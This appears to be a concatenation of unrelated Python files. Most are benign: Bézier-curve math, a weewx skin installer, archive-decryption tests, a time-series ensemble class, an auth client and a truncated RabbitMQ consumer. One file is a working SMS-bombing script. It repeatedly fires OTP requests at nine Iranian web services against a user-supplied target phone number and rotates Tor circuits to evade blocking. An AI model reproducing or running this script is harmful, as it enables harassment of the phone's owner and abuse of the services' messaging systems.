where points are equal to [[px_id_0, py_id_0], [px_id_1, py_id_1], [px_id_2, py_id_2], [px_id_3, py_id_3]] in 2D space
and [[px_id_0, py_id_0, pz_id_0], [px_id_1, py_id_1, pz_id_1], [px_id_2, py_id_2, pz_id_2], [px_id_3, py_id_3, pz_id_2]] in 3D space
"""
try:
assert len(points) == CONST_NUM_OF_ENTRY_POINTS_CUBIC
assert(num_of_samples >= 0)
# Return evenly spaced numbers over a specified interval.
t = np.linspace(CONST_T_START, CONST_T_STOP, num_of_samples)
return [((1 - t)**3) * (p[0]) + (3 * t * (1 - t)**2) * (p[1]) + 3 * (t**2) * (1 - t) * p[2] + (t**3) * p[3]
for _, p in enumerate(np.transpose(points))]
except AssertionError as error:
print('[ERROR] Insufficient number of entry points.')
print('[ERROR] The correct number of entry points is %d.' % CONST_NUM_OF_ENTRY_POINTS_CUBIC)
print('[ERROR] The number of samples must not be negative.')
class N_Degree(object):
"""
Description:
Class for efficient solution of N-degree Bézier curve.
Note:
A Bézier curve is a parametric curve used in computer graphics and related fields.
Initialization of the Class:
Input:
(1) num_of_samples [INT]: Number of samples to generate. Must be non-negative.
Example:
Initialization:
Cls = N_Degree(num_of_samples)
Calculation:
res = Cls.Solve(p, simplification_factor)
where p is equal to [[px_id_0, py_id_0], .., [px_id_n, py_id_n]] in 2D space
and [[px_id_0, py_id_0, pz_id_0], .., [px_id_n, py_id_n, pz_id_n]] in 3D space
"""
def __init__(self, num_of_samples: typing.Union[int]) -> None:
# << PUBLIC >> #
try:
assert(num_of_samples >= 0)
# Return evenly spaced numbers over a specified interval.
self.t = np.linspace(CONST_T_START, CONST_T_STOP, num_of_samples)
except AssertionError as error:
print('[ERROR] The number of samples must not be negative.')
# << PRIVATE >> #
# Points [Float Matrix]
self.__points = []
# Number of samples to generate
self.__num_of_samples = num_of_samples
@staticmethod
def __path_simplification(points, simplification_factor):
"""
Description:
Function to simplify the path through the simplification factor. The first and end points do not change, the others
depend on the factor coefficient.
Example:
Input Points:
points = [1.0, 1.0], [1.25, 2.0], [1.75, 2.0], [2.0, 1.0], [1.0, -1.0], [1.25, -2.0], [1.75, -2.0], [2.0, -1.0]
Number of points:
n = 8
Simplification Factor:
1\ Example:
simplification_factor = 1
points_new = [1.0, 1.0], [1.25, 2.0], [1.75, 2.0], [2.0, 1.0], [1.0, -1.0], [1.25, -2.0], [1.75, -2.0], [2.0, -1.0]
n = 8
2\ Example:
simplification_factor = 2
points_new = [1.0, 1.0], [None], [1.75, 2.0], [None], [1.0, -1.0], [None], [1.75, -2.0], [2.0, -1.0]
points_new = [1.0, 1.0], [1.75, 2.0], [1.0, -1.0], [1.75, -2.0], [2.0, -1.0]
n = 5
Args:
(1) points [p_{0, .., n}] [Int/Float Matrix]: Multiple points to create a curve.
(2) simplification_factor [INT]: Simplification factor for the simplify the path.
Returns:
(1) parameter [Int/Float Matrix]: New simplified matrix of points to create a curve.
"""
points_aux = []
points_aux.append(points[0])
for i in range(1, len(points) - 1):
if i % simplification_factor == 0:
points_aux.append(points[i])
if points_aux[-1] != points[-1]:
points_aux.append(points[-1])
return points_aux
@staticmethod
def __binomial_coefficient(n, k):
"""
Description:
Calculation binomial coofecient C, from pair of integers n ≥ k ≥ 0 and is written (n k). The binomial coefficients are the positive integers that occur as coefficients in the binomial theorem.
(n k) = n! / (k! * (n - k)!)
...
Simplification of the calculation:
(n k) = ((n - k + 1) * (n - k + 2) * ... * (n - 1) * (n)) / (1 * 2 * ... * (k - 1) * k)
Args:
(1) n [INT]: Integer number 1 (numerator)
(2) k [INT]: Integer number 2 (denumerator)
Returns:
(1) parameter [INT]: Binomial coofecient C(n k).
"""
try:
assert(n >= k)
if k == 0:
return 1
elif k == 1:
return n
else:
c_nk = 1
# Calculation from the simplification equation
for i in range(0, k):
c_nk *= (n - i) # numerator
c_nk /= (i + 1) # denumerator
return c_nk
except AssertionError as error:
print('[ERROR] The number n must be larger than or equal to k.')
return 0
def __n_index_curve(self, i, point, n, c_ni):
"""
Description:
Given n + 1 control points p_{0}, p_{1},..., p_{n} we define the degree n Bezier curve to
be the curve parametrized by (De Casteljau's algorithm):
p(t) = sum(i = 0 -> n) (C(n i)) * (t ^ i) * ((1 - t) ^ (n - i)) * p_{i}, t ∈ [0, 1]
where C(n i) is a binomial coefficient.
Args:
(1) i [INT]: Iteration.
(2) point [Int/Float Matrix]: Point (2D/3D) in interation (i).
(3) n [INT]: Number of points.
(4) c_ni [INT]: Binomial coofecient C(n i) in iteration (i).
Returns:
(1) parameter [Int/Float Matrix]: Results of curve values in iteration (i).
"""
return [c_ni * (self.t**i) * ((1 - self.t)**(n - i)) * p
for _, p in enumerate(point)]
def __n_degree(self):
"""
Description:
The main control function for creating a Bézier curve of degree n.
Returns:
(1) parameter [{0 .. Number of dimensions - 1}] [Int/Float Matrix]: Resulting points of the curve.
"""
# Number of points in the matrix
n = len(self.__points) - 1
# Calculation of binomial cooficient of the first iteration
c_nk = self.__binomial_coefficient(n, 0)
# Calculation of the first curve positions
result = self.__n_index_curve(0, self.__points[0], n, c_nk)
for i in range(1, n + 1):
# Binomial cooficient in interation (i)
c_ni = self.__binomial_coefficient(n, i)
# Calculation positions in iteration (i)
aux_result = self.__n_index_curve(i, self.__points[i], n, c_ni)
# The sum of all positions for the resulting Bézier curve
for j in range(0, len(aux_result)):
result[j] += aux_result[j]
return result
def Solve(self, points: typing.Union[typing.List[int], typing.List[float]], simplification_factor: typing.Union[int]) -> typing.Union[typing.List[int], typing.List[float]]:
"""
Description:
Function for automatic calculation of a suitably selected Bézier curve.
Args:
(1) points [p_{0, .., n}] [Int/Float Matrix]: Multiple points to create a curve.
(2) simplification_factor [INT]: Simplification factor for the simplify the path.
Return:
(1) parameter [Int/Float Matrix]: Resulting points of the curve.
"""
try:
assert len(points) > 1
# If the number of input points is greater than 4 and variable simplification_factor > 1, the program chooses the n_points calculation method. But if the simplification
# coefficient is greater than or equal to 1, the program can choose another method and the principle of calculation will be faster.
if simplification_factor > 1 and len(points) > 4:
# If the coefficient coefficient is greater than 1, simplify the path
self.__points = self.__path_simplification(points, simplification_factor)
else:
self.__points = points
# Selects the calculation method based on the number of points in the matrix (p).
if len(self.__points) > 4:
return self.__n_degree()
if len(self.__points) == 4:
return Cubic(self.__num_of_samples, self.__points)
elif len(self.__points) == 3:
return Quadratic(self.__num_of_samples, self.__points)
elif len(self.__points) == 2:
return Linear(self.__num_of_samples, self.__points)
except AssertionError as error:
print('[ERROR] Insufficient number of entry points.')
print('[ERROR] The minimum number of entry points is %d.' % CONST_NUM_OF_ENTRY_POINTS_LINEAR)
| 15,125 | 4,990 |
# installer for the 'basic' skin
# Copyright 2014 Matthew Wall
from weecfg.extension import ExtensionInstaller
def loader():
return BasicInstaller()
class BasicInstaller(ExtensionInstaller):
def __init__(self):
super(BasicInstaller, self).__init__(
version="0.1",
name='basic',
description='Very basic skin for weewx.',
author="Matthew Wall",
author_email="mwall@users.sourceforge.net",
config={
'StdReport': {
'basic': {
'skin': 'basic',
'HTML_ROOT': 'basic',
'Extras': {
'current': 'INST_SKIN_ROOT/basic/current.inc',
'hilo': 'INST_SKIN_ROOT/basic/hilo.inc'}}}},
files=[('skins/basic',
['skins/basic/basic.css',
'skins/basic/current.inc',
'skins/basic/favicon.ico',
'skins/basic/hilo.inc',
'skins/basic/index.html.tmpl',
'skins/basic/skin.conf']),
]
)
| 1,175 | 327 |
import os
import shutil
import re
import pytest
from archiver.extract import decrypt_existing_archive
from archiver.helpers import get_absolute_path_string
from .archiving_helpers import assert_successful_archive_creation, assert_successful_action_to_destination, add_prefix_to_list_elements, compare_listing_files, valid_md5_hash_in_file, compare_text_file_ignoring_order, compare_hash_files
from tests import helpers
ENCRYPTION_PUBLIC_KEY_A = "public.gpg"
ENCRYPTION_PUBLIC_KEY_B = "public_second.pub"
def test_decrypt_regular_archive(tmp_path, setup_gpg):
folder_name = "test-folder"
archive_path = helpers.get_directory_with_name("encrypted-archive")
copied_archive_path = tmp_path / folder_name
shutil.copytree(archive_path, copied_archive_path)
decrypt_existing_archive(copied_archive_path)
assert_successful_archive_creation(copied_archive_path, archive_path, folder_name, encrypted="all", unencrypted="all")
def test_decrypt_regular_archive_remove_unencrypted(tmp_path, setup_gpg):
folder_name = "test-folder"
archive_path = helpers.get_directory_with_name("encrypted-archive")
copied_archive_path = tmp_path / folder_name
shutil.copytree(archive_path, copied_archive_path)
decrypt_existing_archive(copied_archive_path, remove_unencrypted=True)
assert_successful_archive_creation(copied_archive_path, archive_path, folder_name, encrypted="hash", unencrypted="all")
def test_decrypt_regular_archive_to_destination(tmp_path, setup_gpg):
folder_name = "test-folder"
archive_path = helpers.get_directory_with_name("encrypted-archive")
destination_path = tmp_path / folder_name
decrypt_existing_archive(archive_path, destination_path)
assert_successful_action_to_destination(destination_path, archive_path, folder_name, encrypted=False)
def test_decrypt_regular_archive_error_existing(tmp_path, setup_gpg):
folder_name = "test-folder"
archive_path = helpers.get_directory_with_name("encrypted-archive")
destination_path = tmp_path / folder_name
destination_path.mkdir()
with pytest.raises(SystemExit) as error:
decrypt_existing_archive(archive_path, destination_path)
assert error.type == SystemExit
def test_decrypt_regular_archive_force_override_existing(tmp_path, setup_gpg):
folder_name = "test-folder"
archive_path = helpers.get_directory_with_name("encrypted-archive")
destination_path = tmp_path / folder_name
destination_path.mkdir()
decrypt_existing_archive(archive_path, destination_path, force=True)
assert_successful_action_to_destination(destination_path, archive_path, folder_name, encrypted=False)
def test_decrypt_regular_file(tmp_path, setup_gpg):
folder_name = "test-folder"
archive_path = helpers.get_directory_with_name("encrypted-archive")
copied_archive_path = tmp_path / folder_name
archive_file = copied_archive_path / f"{folder_name}.tar.lz.gpg"
shutil.copytree(archive_path, copied_archive_path)
decrypt_existing_archive(archive_file)
assert_successful_archive_creation(copied_archive_path, archive_path, folder_name, encrypted="all", unencrypted="all")
def test_decrypt_regular_file_to_destination(tmp_path, setup_gpg):
folder_name = "test-folder"
archive_path = helpers.get_directory_with_name("encrypted-archive")
archive_file = archive_path / f"{folder_name}.tar.lz.gpg"
destination_path = tmp_path / folder_name
decrypt_existing_archive(archive_file, destination_path)
assert_successful_action_to_destination(destination_path, archive_path, folder_name, encrypted=False)
def test_decrypt_archive_split(tmp_path, setup_gpg):
folder_name = "large-folder"
archive_path = helpers.get_directory_with_name("split-encrypted-archive")
copied_archive_path = tmp_path / folder_name
shutil.copytree(archive_path, copied_archive_path)
decrypt_existing_archive(copied_archive_path)
assert_successful_archive_creation(copied_archive_path, archive_path, folder_name, encrypted="all", unencrypted="all", split=3)
def test_decrypt_archive_split_remove_unencrypted(tmp_path, setup_gpg):
folder_name = "large-folder"
archive_path = helpers.get_directory_with_name("split-encrypted-archive")
copied_archive_path = tmp_path / folder_name
shutil.copytree(archive_path, copied_archive_path)
decrypt_existing_archive(copied_archive_path, remove_unencrypted=True)
assert_successful_archive_creation(copied_archive_path, archive_path, folder_name, encrypted="hash", unencrypted="all", split=3)
def test_decrypt_archive_split_to_destination(tmp_path):
folder_name = "large-folder"
archive_path = helpers.get_directory_with_name("split-encrypted-archive")
destination_path = tmp_path / folder_name
decrypt_existing_archive(archive_path, destination_path)
assert_successful_action_to_destination(destination_path, archive_path, folder_name, encrypted=False, split=3)
| 4,953 | 1,596 |
text = """
#include "TreeNeighbor.cc"
namespace Spheral {
template class TreeNeighbor< Dim< %(ndim)s > >;
}
"""
| 116 | 49 |
#dictawtor
#t.me/dictawt0r
import os
import time
import requests
from threading import Thread
proxy = {"https": "127.0.0.1:8000"}
def snap(phone):
#snap api
snapH = {"Host": "app.snapp.taxi", "content-length": "29", "x-app-name": "passenger-pwa", "x-app-version": "5.0.0", "app-version": "pwa", "user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36", "content-type": "application/json", "accept": "*/*", "origin": "https://app.snapp.taxi", "sec-fetch-site": "same-origin", "sec-fetch-mode": "cors", "sec-fetch-dest": "empty", "referer": "https://app.snapp.taxi/login/?redirect_to\u003d%2F", "accept-encoding": "gzip, deflate, br", "accept-language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6", "cookie": "_gat\u003d1"}
snapD = {"cellphone":phone}
try:
snapR = requests.post("https://app.snapp.taxi/api/api-passenger-oauth/v2/otp", headers=snapH, json=snapD, proxies=proxy)
if "OK" in snapR.text:
print ("sended sms:)")
else:
print ("Error!")
except:
print ("Error!")
def shad(phone):
#shad api
shadH = {"Host": "shadmessenger12.iranlms.ir","content-length": "96","accept": "application/json, text/plain, */*","user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","content-type": "text/plain","origin": "https://shadweb.iranlms.ir","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://shadweb.iranlms.ir/","accept-encoding": "gzip, deflate, br","accept-language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6"}
shadD = {"api_version":"3","method":"sendCode","data":{"phone_number":phone.split("+")[1],"send_type":"SMS"}}
try:
shadR = requests.post("https://shadmessenger12.iranlms.ir/", headers=shadH, json=shadD, proxies=proxy)
if "OK" in shadR.text:
print ("sended sms:)")
else:
print ("Error!")
except:
print ("Error!")
def gap(phone):
#gap api
gapH = {"Host": "core.gap.im","accept": "application/json, text/plain, */*","x-version": "4.5.7","accept-language": "fa","user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","appversion": "web","origin": "https://web.gap.im","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://web.gap.im/","accept-encoding": "gzip, deflate, br"}
try:
gapR = requests.get("https://core.gap.im/v1/user/add.json?mobile=%2B{}".format(phone.split("+")[1]), headers=gapH, proxies=proxy)
if "OK" in gapR.text:
print ("sended sms:)")
else:
print ("Error!")
except:
print ("Error!")
def tap30(phone):
#tap30 api
tap30H = {"Host": "tap33.me","Connection": "keep-alive","Content-Length": "63","User-Agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","content-type": "application/json","Accept": "*/*","Origin": "https://app.tapsi.cab","Sec-Fetch-Site": "cross-site","Sec-Fetch-Mode": "cors","Sec-Fetch-Dest": "empty","Referer": "https://app.tapsi.cab/","Accept-Encoding": "gzip, deflate, br","Accept-Language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6"}
tap30D = {"credential":{"phoneNumber":"0"+phone.split("+98")[1],"role":"PASSENGER"}}
try:
tap30R = requests.post("https://tap33.me/api/v2/user", headers=tap30H, json=tap30D, proxies=proxy)
if "OK" in tap30R.text:
print ("sended sms:)")
else:
print ("Error!")
except:
print ("Error!")
def emtiaz(phone):
#emtiaz api
emH = {"Host": "web.emtiyaz.app","Connection": "keep-alive","Content-Length": "28","Cache-Control": "max-age\u003d0","Upgrade-Insecure-Requests": "1","Origin": "https://web.emtiyaz.app","Content-Type": "application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q\u003d0.9,image/webp,image/apng,*/*;q\u003d0.8,application/signed-exchange;v\u003db3;q\u003d0.9","Sec-Fetch-Site": "same-origin","Sec-Fetch-Mode": "navigate","Sec-Fetch-User": "?1","Sec-Fetch-Dest": "document","Referer": "https://web.emtiyaz.app/login","Accept-Encoding": "gzip, deflate, br","Accept-Language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6","Cookie": "__cfduid\u003dd3744e2448268f90a1ea5a4016884f7331596404726; __auc\u003dd86ede5a173b122fb752f98d012; _ga\u003dGA1.2.719537155.1596404727; __asc\u003d7857da15173c7c2e3123fd4c586; _gid\u003dGA1.2.941061447.1596784306; _gat_gtag_UA_124185794_1\u003d1"}
emD = "send=1&cellphone=0"+phone.split("+98")[1]
try:
emR = requests.post("https://web.emtiyaz.app/json/login", headers=emH, data=emD, proxies=proxy)
print ("sended sms:)")
except:
print ("Error!")
def divar(phone):
#divar api
divarH = {"Host": "api.divar.ir","Connection": "keep-alive","Content-Length": "22","Accept": "application/json, text/plain, */*","User-Agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Origin": "https://divar.ir","Sec-Fetch-Site": "same-site","Sec-Fetch-Mode": "cors","Sec-Fetch-Dest": "empty","Referer": "https://divar.ir/my-divar/my-posts","Accept-Encoding": "gzip, deflate, br","Accept-Language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6"}
divarD = {"phone":phone.split("+98")[1]}
try:
divarR = requests.post("https://api.divar.ir/v5/auth/authenticate", headers=divarH, json=divarD, proxies=proxy)
if "SENT" in divarR.text:
print ("sended sms:)")
else:
print ("Error!")
except:
print ("Error!")
def rubika(phone):
#rubika api
ruH = {"Host": "messengerg2c4.iranlms.ir","content-length": "96","accept": "application/json, text/plain, */*","user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","content-type": "text/plain","origin": "https://web.rubika.ir","sec-fetch-site": "cross-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://web.rubika.ir/","accept-encoding": "gzip, deflate, br","accept-language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6"}
ruD = {"api_version":"3","method":"sendCode","data":{"phone_number":phone.split("+")[1],"send_type":"SMS"}}
try:
ruR = requests.post("https://messengerg2c4.iranlms.ir/", headers=ruH, json=ruD, proxies=proxy)
if "OK" in ruR.text:
print ("sended sms:)")
else:
print ("Error!")
except:
print ("Error!")
def torob(phone):
#torob api
torobH = {"Host": "api.torob.com","user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","accept": "*/*","origin": "https://torob.com","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://torob.com/user/","accept-encoding": "gzip, deflate, br","accept-language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6","cookie": "amplitude_id_95d1eb61107c6d4a0a5c555e4ee4bfbbtorob.com\u003deyJkZXZpY2VJZCI6ImFiOGNiOTUyLTk1MTgtNDhhNS1iNmRjLTkwZjgxZTFjYmM3ZVIiLCJ1c2VySWQiOm51bGwsIm9wdE91dCI6ZmFsc2UsInNlc3Npb25JZCI6MTU5Njg2OTI4ODM1MSwibGFzdEV2ZW50VGltZSI6MTU5Njg2OTI4ODM3NCwiZXZlbnRJZCI6MSwiaWRlbnRpZnlJZCI6Miwic2VxdWVuY2VOdW1iZXIiOjN9"}
try:
torobR = requests.get("https://api.torob.com/a/phone/send-pin/?phone_number=0"+phone.split("+98")[1], headers=torobH, proxies=proxy)
if "sent" in torobR.text:
print ("sended sms:)")
else:
print ("Error!")
except:
print ("Error!")
def bama(phone):
#bama api
bamaH = {"Host": "bama.ir","content-length": "22","accept": "application/json, text/javascript, */*; q\u003d0.01","x-requested-with": "XMLHttpRequest","user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","csrf-token-bama-header": "CfDJ8N00ikLDmFVBoTe5ae5U4a2G6aNtBFk_sA0DBuQq8RmtGVSLQEq3CXeJmb0ervkK5xY2355oMxH2UDv5oU05FCu56FVkLdgE6RbDs1ojMo90XlbiGYT9XaIKz7YkZg-8vJSuc7f3PR3VKjvuu1fEIOE","content-type": "application/x-www-form-urlencoded; charset\u003dUTF-8","origin": "https://bama.ir","sec-fetch-site": "same-origin","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://bama.ir/Signin?ReturnUrl\u003d%2Fprofile","accept-encoding": "gzip, deflate, br","accept-language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6","cookie": "CSRF-TOKEN-BAMA-COOKIE\u003dCfDJ8N00ikLDmFVBoTe5ae5U4a1o5aOrFp-FIHLs7P3VvLI7yo6xSdyY3sJ5GByfUKfTPuEgfioiGxRQo4G4JzBin1ky5-fvZ1uKkrb_IyaPXs1d0bloIEVe1VahdjTQNJpXQvFyt0tlZnSAZFs4eF3agKg"}
bamaD = "cellNumber=0"+phone.split("+98")[1]
try:
bamaR = requests.post("https://bama.ir/signin-checkforcellnumber", headers=bamaH, data=bamaD, proxies=proxy)
if "0" in bamaR.text:
print ("sended sms:)")
else:
print ("Error!")
except:
print ("Error!")
def main():
phone = str(input("Target Phone (+98xxx): "))
while True:
Thread(target=snap, args=[phone]).start()
Thread(target=shad, args=[phone]).start()
Thread(target=gap, args=[phone]).start()
Thread(target=tap30, args=[phone]).start()
Thread(target=emtiaz, args=[phone]).start()
Thread(target=divar, args=[phone]).start()
Thread(target=rubika, args=[phone]).start()
Thread(target=torob, args=[phone]).start()
Thread(target=bama, args=[phone]).start()
os.system("killall -HUP tor")
time.sleep(3)
if __name__ == "__main__":
main()
| 10,469 | 4,785 |
from ursina import *
from ursina.prefabs.first_person_controller import FirstPersonController
import random
import time
app = Ursina()
from ursina.shaders import lit_with_shadows_shader # you have to apply this shader to enties for them to recieve shadows.
EditorCamera()
Entity(model='plane', scale=10, color=color.gray, shader=lit_with_shadows_shader)
Entity(model='cube', y=1,color=color.cyan, shader=lit_with_shadows_shader)
pivot = Entity()
DirectionalLight(parent=pivot, y=2, z=3, shadows=True)
app.run()
| 515 | 178 |
# -*- coding: utf-8 -*-
# Copyright © 2014 Cask Data, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy of
# the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations under
# the License.
import base64
import logging
import json
from .abstract_authentication_client import AbstractAuthenticationClient
from .credential import Credential
LOG = logging.getLogger(__name__)
class BasicAuthenticationClient(AbstractAuthenticationClient):
USERNAME_PROP_NAME = u'security_auth_client_username'
PASSWORD_PROP_NAME = u'security_auth_client_password'
VERIFY_CERT_PROP_NAME = u'security_ssl_cert_check'
DEFAULT_VERIFY_SSL_CERT = True
def __init__(self):
super(BasicAuthenticationClient, self).__init__()
self.__username = None
self.__password = None
self.__security_ssl_cert_check = False
self.__credentials = (Credential(self.USERNAME_PROP_NAME,
u'Username for basic authentication.',
False),
Credential(self.PASSWORD_PROP_NAME,
u'Password for basic authentication.',
True))
@property
def username(self):
return self.__username
@username.setter
def username(self, username):
self.__username = username
@property
def password(self):
return self.__password
@password.setter
def password(self, password):
self.__password = password
def get_required_credentials(self):
return self.__credentials
def fetch_access_token(self):
if not self.__username or not self.__password:
raise ValueError(u'Base authentication client'
u' is not configured!')
LOG.debug(u'Authentication is enabled in the gateway server.'
u' Authentication URI %s.' % self.auth_url)
base64string = base64.b64encode(
(u'%s:%s' % (self.__username, self.__password)).encode('utf-8'))
auth_header = json.dumps(
{u"Authorization": u"Basic %s" % base64string.decode('utf-8')})
return self.execute(auth_header)
def ssl_verification_status(self):
return self.__security_ssl_cert_check
def configure(self, properties):
if self.__username or self.__password:
raise ValueError(u'Client is already configured!')
self.__username = properties.get(self.USERNAME_PROP_NAME)
if not self.__username:
raise ValueError(u'The username property cannot be empty.')
self.__password = properties.get(self.PASSWORD_PROP_NAME)
if not self.__password:
raise ValueError(u'The password property cannot be empty.')
self.__security_ssl_cert_check = properties.get(self.VERIFY_CERT_PROP_NAME, self.DEFAULT_VERIFY_SSL_CERT)
| 3,331 | 915 |
#!/usr/bin/env python3
"""Historian discovers what you did last quarter."""
from datetime import datetime, timezone
from os import mkdir
from shutil import rmtree
from sys import exit
from configobj import ConfigObj
import sources
def main():
"""Generate reports of online activity."""
try:
config = ConfigObj('config.ini', interpolation=False, file_error=True)
except IOError:
exit('Error: File Not Found "config.ini"')
# FIXME: Hardcoded start / end dates, currently 2016 Q2
start = datetime(2016, 4, 1).replace(tzinfo=timezone.utc)
end = datetime(2016, 7, 1).replace(tzinfo=timezone.utc)
# Initialize all sources
reporters = {}
for source_name, params in config['Sources'].items():
try:
key = source_name.lower()
constructor = sources.__getattribute__(source_name)
reporters[key] = constructor(**params, start=start, end=end)
except AttributeError:
print('No source found: %s' % source_name)
continue
# Prepare a clean output directory
rmtree('out', ignore_errors=True)
mkdir('out')
# Generate a report for each user
for name, accounts in config['Users'].items():
print('%s:' % name)
with open('out/%s.md' % name, 'w') as f:
for source, identity in accounts.items():
if source not in reporters:
print(' - %s (skipped: source not enabled)' % source)
continue
print(' - %s' % source)
reporter = reporters[source]
f.write('### %s\n\n' % reporter.__class__.__name__)
f.write(reporter.report(identity))
f.write('\n')
if __name__ == '__main__':
main()
| 1,784 | 527 |
import numpy as np
import pandas as pd
from abc import ABC, abstractmethod
class AbstractEnsembleVote(ABC):
@abstractmethod
def fit(self, train):
pass
@abstractmethod
def predict(self, predictions):
pass
class UnweightedVote(AbstractEnsembleVote):
def __init__(self):
pass
def fit(self, train, y=None):
pass
def predict(self, predictions):
'''
Parameters:
------
predictions - numpy.array. matrix of predictions
from ensemble of models
'''
return np.nan_to_num(predictions).mean(axis=0)
class WeightedVote(AbstractEnsembleVote):
def __init__(self, weights):
self._weights = weights
def fit(self, train, y=None):
pass
def predict(self, predictions):
'''
Parameters:
------
predictions - numpy.array. matrix of predictions
from ensemble of models
'''
return np.average(np.nan_to_num(predictions),
weights=self._weights)
class Ensemble:
'''
Encapsulates a set of forecasting models and a meta learner (e.g.
simple average or weighted average) that combines them.
'''
def __init__(self, estimators, meta_learner, include_exog=False,
rescale_preds=False):
'''
Constructor
Parameters:
-------
estimators - dict of forecast estimators
vote - AbstractEnsembleVote object e.g. UnweightedVote
'''
self._estimators = estimators
self._vote = meta_learner
self._y_train = None
self._exog = include_exog
self._rescale_preds = rescale_preds
def _get_fitted(self):
#broken
return self._fitted['pred']
def _get_resid(self):
#broken
return self._fitted['resid']
def fit(self, train):
preds = []
for key, estimator in self._estimators.items():
estimator.fit(train)
preds.append(estimator.fittedvalues)
if len(train.shape) > 1:
y_train = train[:, 0]
x_train = train[:, 1:]
else:
y_train = None
x_train = None
if isinstance(x_train, (np.ndarray)) and self._exog:
x_train = np.concatenate([preds, x_train.T]).T
else:
x_train = np.array(preds)
self._vote.fit(x_train, y=y_train)
#This needs sorting...
#self._fitted = pd.DataFrame(y_train)
#self._fitted.columns=['actual']
#self._fitted['pred'] = self._vote.combine(np.array(preds))
#self._fitted['resid'] = self._fitted['actual'] - self._fitted['pred']
def predict(self, horizon, return_conf_int=False, alpha=0.2):
self._preds = []
self._lower_pi = []
self._upper_pi = []
for key, estimator in self._estimators.items():
results = estimator.predict(horizon,
return_conf_int=return_conf_int,
alpha=alpha)
if return_conf_int:
preds, pis = results
self._preds.append(preds)
self._lower_pi.append(pis.T[0])
self._upper_pi.append(pis.T[1])
else:
self._preds.append(results)
#print(type(horizon))
if isinstance(horizon, (np.ndarray, pd.DataFrame)) and self._exog:
if isinstance(horizon, (pd.DataFrame)):
horizon = horizon.to_numpy()
x_train = np.concatenate([self._preds, horizon.T]).T
else:
x_train = np.array(self._preds)
x_train_lower = np.array(self._lower_pi)
x_train_upper = np.array(self._upper_pi)
#print('predict shape ', x_train.shape)
ensemble_preds = self._vote.predict(x_train)
if return_conf_int:
ensemble_lower = self._vote.predict(x_train_lower)
ensemble_upper = self._vote.predict(x_train_upper)
ensemble_pis = np.array([ensemble_lower, ensemble_upper])
return ensemble_preds, ensemble_pis.T
else:
return ensemble_preds
#return self._vote.predict(x_train), []
fittedvalues = property(_get_fitted)
resid = property(_get_resid) | 4,445 | 1,333 |
#!/usr/bin/env python
import pika
import random
import time
import sys
import datetime
import QoECurve
'''
MsgBroker Configuration
'''
max_priority = 250
connection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))
channel = connection.channel()
c_properties = dict()
c_properties['x-max-priority'] = max_priority
channel.queue_declare(queue='hello', durable=False, arguments = c_properties)
'''
Msg Handler
'''
def datahandler(body):
# print(str(body))
message_body = str(body).split()
message_body[0] = message_body[0].strip('b\'') # time when generating requests
message_body[1] = message_body[1].strip('\'') # request non back end delay
# message_body[2] = message_body[2].strip('\'') # message index
# message_index = int(message_body[2])
# print(message_body[0])
now_time = int(round(time.time() * 1000))
e2e_latency = now_time - int(message_body[0]) + int(message_body[1]) + 0.0 # total e2e dealy
#back_end_zero = int(message_body[1]) # only non back end delay
sa, sb = QoECurve.QoECurve(e2e_latency)
#sa_d, sb_d = QoECurve.QoECurve(back_end_zero)
print(sa)
time.sleep(0.005)
def callback(ch, method, properties, body):
